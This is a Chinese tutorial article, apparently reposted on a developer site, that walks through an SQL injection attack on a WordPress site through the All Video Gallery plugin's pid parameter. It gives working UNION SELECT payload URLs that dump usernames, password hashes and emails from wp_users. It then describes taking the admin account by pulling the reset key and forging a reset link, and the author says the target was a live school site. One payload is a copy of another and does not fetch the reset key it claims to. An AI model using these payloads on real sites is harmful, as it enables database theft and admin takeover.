热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

如何利用SQL注入漏洞攻破一个WordPress网站

前几天微软skype的官方博客网站被黑客突破,虽然很快进行了修复,但从网友截屏的图片来看,应该一些抗议美国国安局监听行为和反对微软在软件里隐藏后门的黑客所为。微软skype的

wordpress网站 微软skype wordpress平台

前几天微软skype的官方博客网站被黑客突破,虽然很快进行了修复,但从网友截屏的图片来看,应该一些抗议美国国安局监听行为和反对微软在软件里隐藏后门的黑客所为。

微软skype的官方博客使用的是WordPress平台,Wordpress目前是世界上最流行的博客平台,市场占有率高达70%,这次攻击事件虽然牵涉到wordpress,但并不能说明wordpress平台很脆弱,事实上脆弱的是wordpress上多达百万的各种第三方插件,这些插件的质量良莠不齐,如果你使用错误的插件,没有及时更新到最新版本,那你的wordpress网站就会成为黑客的目标。

All Video Gallery就是这样的一个典型例子。早在2012年6月份就有安全网站公布这个插件的1.1版有严重的安全漏洞,但我今天还是很轻松的使用谷歌搜到了仍然使用这个有漏洞的插件的网站。本文就是要以这个网站为靶子,给大家实战讲解黑客是如何利用sql注入技术攻破一个网站的。

wordpress网站 微软skype wordpress平台

这个网站看起来像是印度或巴基斯坦的某个公立学校的网站。我不想在这里透露这个网站的真实地址,如果你也想实战一下,可以自己架设一个wordpress网站,安装上这个有安全漏洞的插件。如果你真的有兴趣想看看这个网站、非恶意的,请关注我的微薄 @外刊IT评论,和我私信联系。

SQL注入的基本原理

sql注入成因主要是对页面参数没有进行非法字符校验导致,比如说一个订单页面要显示某个客户的所有订单列表,这个页面的地址可能是http://xxx.com/list.php?customID=3,我们推理,这样页面的后台处理的sql应该是这样的:

select * form custom_order where custom_id = {$_GET['customID']}

按正常情况下,这里的接收的参数{$_GET['customID']}的值应该是传入的值3,这样页面就能正确的把所有客户ID等于3的订单信息显示到页面上。但是,如果这个参数被人恶意改成了如下形式:

http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

按这样的参数拼装成的sql就成了这样:

select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。

All Video Gallery插件的漏洞简介

安装了All Video Gallery插件的Wordpress博客里会有这样的一个地址:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11

访问这个页面会显示一些配置信息,问题就出在pid这个参数上,程序后台显然没有严格检查这个参数,我们将利用这个参数进行sql注入。

WordPress是一个开源的平台,我们很容易弄清楚用户表的表名是wp_users,存放用户名,密码,邮件地址的字段分别是user_login,user_pass,user_email,我们下面将要把用户信息表注入进去。

获取超级管理员用户名

为了获取用户表中的用户名,我们注入的sql是这样的:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

wordpress网站 微软skype wordpress平台

获取超级管理员邮件地址

我们可以直接获取用户的密码,但很显然,密码都是加密的,无法使用,我们这里使用另外一种思路,先获取用户的邮件地址,然后使用这个邮件重置用户的密码。

要获取邮件地址,我们需要将上面的sql中的字段名改成user_email:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

wordpress网站 微软skype wordpress平台

重置管理员密码

WordPress的后台登陆地址是http://xxx.com/wp-login.php,这个地址是可以公共访问的,我们进入这个页面后,点击Lost your password?链接,输入上面获取的管理员邮件。

wordpress网站 微软skype wordpress平台

这样做了之后,Wordpress会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址,但我们可以使用上面同样的方法获取这个激活码,自己拼装出密码重置地址。存放激活码的字段是user_activation_key,我们的sql注入地址改成下面这样:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

wordpress网站 微软skype wordpress平台

有了激活码,我们就可以拼装出装置密码的地址了:

http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username

利用这个地址进入重置密码页面:

wordpress网站 微软skype wordpress平台

总结

我们的黑客行动到此基本上是大功告成,但事实上我并没有去执行最后一步。本文的目的不是要告诉人们如何进行黑客攻击,而是要提醒大家防范安全漏洞,所谓知己知彼,方能百战不殆,程序员应当对基本的黑客攻击方式有一些了解,针对性的在编程时避免造成类似sql注入的安全漏洞,构筑更健壮的软件。

 

推荐阅读
  • ABP框架是ASP.NET Boilerplate的简称,它不仅是一个开源且文档丰富的应用程序框架,还提供了一套基于领域驱动设计(DDD)的最佳实践架构模型。本文将详细介绍ABP框架的特点、项目结构及其在Web API优先架构中的应用。 ... [详细]
  • 本文讲述了一位80后的普通男性程序员,尽管没有高学历,但通过不断的努力和学习,在IT行业中逐渐找到了自己的位置。从最初的仓库管理员到现在的多技能开发者,他的职业生涯充满了挑战与机遇。 ... [详细]
  • 本文探讨了 Java 中 Unsafe.park 和 Object.wait 方法的区别,分析了它们的性能和适用场景,并提供了专业建议。 ... [详细]
  • 本文为初学者提供了一条清晰的学习路线,帮助他们逐步成长为优秀的Web开发人员。通过十个关键步骤,涵盖从基础到高级的各个方面,确保每位学习者都能找到适合自己的学习方向。 ... [详细]
  • 本文详细介绍了 Java 网站开发的相关资源和步骤,包括常用网站、开发环境和框架选择。 ... [详细]
  • 本文介绍了如何在 SQL Server 2005 中创建和使用数据库快照,包括创建数据库、数据表、插入数据、创建快照、查询快照数据以及使用快照进行数据恢复等操作。 ... [详细]
  • 本文介绍了 Oracle SQL 中的集合运算、子查询、数据处理、表的创建与管理等内容。包括查询部门号为10和20的员工信息、使用集合运算、子查询的注意事项、数据插入与删除、表的创建与修改等。 ... [详细]
  • 阿里面试题解析:分库分表后的无限扩容瓶颈与解决方案
    本文探讨了在分布式系统中,分库分表后的无限扩容问题及其解决方案。通过分析不同阶段的服务架构演变,提出了单元化作为解决数据库连接数过多的有效方法。 ... [详细]
  • MySQL Server 8.0.28 升级至 8.0.30 的详细步骤
    为了修复安全漏洞,本文档提供了从 MySQL Server 8.0.28 升级到 8.0.30 的详细步骤,包括备份数据库、停止和删除旧服务、安装新版本以及配置相关环境变量。 ... [详细]
  • 包含phppdoerrorcode的词条 ... [详细]
  • 解决SQL Server数据库sa登录名无法连接的问题
    在安装SQL Server数据库后,使用Windows身份验证成功,但使用SQL Server身份验证时遇到问题。本文将介绍如何通过设置sa登录名的密码、启用登录名状态以及开启TCP协议来解决这一问题。 ... [详细]
  • 在将Web服务器和MySQL服务器分离的情况下,是否需要在Web服务器上安装MySQL?如果安装了MySQL,如何解决PHP连接MySQL服务器时出现的连接失败问题? ... [详细]
  • 本文介绍了如何使用Flume从Linux文件系统收集日志并存储到HDFS,然后通过MapReduce清洗数据,使用Hive进行数据分析,并最终通过Sqoop将结果导出到MySQL数据库。 ... [详细]
  • 本文深入解析了 Kubernetes 控制平面(特别是 API 服务器)与集群节点之间的通信机制,并对其通信路径进行了详细分类。旨在帮助用户更好地理解和定制其安装配置,从而增强网络安全性,确保集群的稳定运行。 ... [详细]
  • 如何在方法上应用@ConfigurationProperties注解进行属性绑定 ... [详细]
author-avatar
uw65ayk
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有